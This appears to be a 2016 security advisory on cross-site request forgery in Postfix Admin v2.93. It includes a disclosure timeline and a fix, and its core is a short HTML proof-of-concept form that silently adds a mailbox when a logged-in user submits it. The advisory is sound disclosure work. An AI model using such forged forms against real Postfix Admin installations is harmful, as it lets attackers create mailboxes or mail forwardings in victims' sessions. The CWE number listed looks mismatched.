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[RCESEC-2016-001] Postfix Admin v2.93 Generic POST Cross-Site Request Forgeries

From: Julien Ahrens <info () rcesecurity com>
Date: Sat, 21 May 2016 11:46:17 +0200

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Postfix Admin
Vendor URL:     sourceforge.net/projects/postfixadmin/
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2016-04-23
Date published: 2016-05-21
CVSSv3 Score:   4.6 (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)
CVE:            -


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Postfix Admin v2.93 (latest)
older versions may be affected too.


4. INTRODUCTION
===============
Postfix Admin is a Web Based Management tool created for Postfix. It is a
PHP based application that handles Postfix Style Virtual Domains and Users
that are stored in MySQL or PostgreSQL.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application "Postfix Admin" offers different configuration options via
HTTP GET and HTTP POST. While GET-based operations like deleting a mailbox
are protected by a CSRF-token called "token", other functions which are
based on HTTP POST like adding email forwarding settings, adding new
mailboxes or adding aliases are not protected at all, which makes them
vulnerable to CSRF attacks.

The following Proof-of-Concept triggers this vulnerability and adds a new
mailbox:

<html>
  <body>
    <form
action="https://localhost/edit.php?table=mailbox&domain=localhost.com";
method="POST">
      <input type="hidden" name="table" value="mailbox" />
      <input type="hidden" name="value&#91;local&#95;part&#93;"
value="test1234" />
      <input type="hidden" name="value&#91;domain&#93;"
value="localhost&#46;com" />
      <input type="hidden" name="value&#91;password&#93;" value="rcesec" />
      <input type="hidden" name="value&#91;password2&#93;" value="rcesec" />
      <input type="hidden" name="value&#91;name&#93;" value="rcesec" />
      <input type="hidden" name="value&#91;quota&#93;" value="10000" />
      <input type="hidden" name="value&#91;active&#93;" value="1" />
      <input type="hidden" name="submit" value="Add&#32;Mailbox" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability, a user must be tricked into
visiting an arbitrary website while having an authenticated session in
Postfix Admin. Basically both types of user accounts (mailbox users and
administrators) are affected, but the mailbox user's only exploitable
functionality is adding email forwarding settings.

The vulnerability allows remote attackers to perform sensitive actions
like adding new mailboxes or adding email forwardings in the authentication
context of the targeted user.


7. SOLUTION
===========
Checkout latest trunk including [r1843].


8. REPORT TIMELINE
==================
2016-04-23: Discovery of the vulnerability
2016-04-23: Created https://sourceforge.net/p/postfixadmin/bugs/372/
2016-05-20: Vendor committed patch to SVN trunk r1842
2016-05-21: Advisory released


9. REFERENCES
=============
https://sourceforge.net/p/postfixadmin/bugs/372/

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[RCESEC-2016-001] Postfix Admin v2.93 Generic POST Cross-Site Request Forgeries Julien Ahrens (May 23)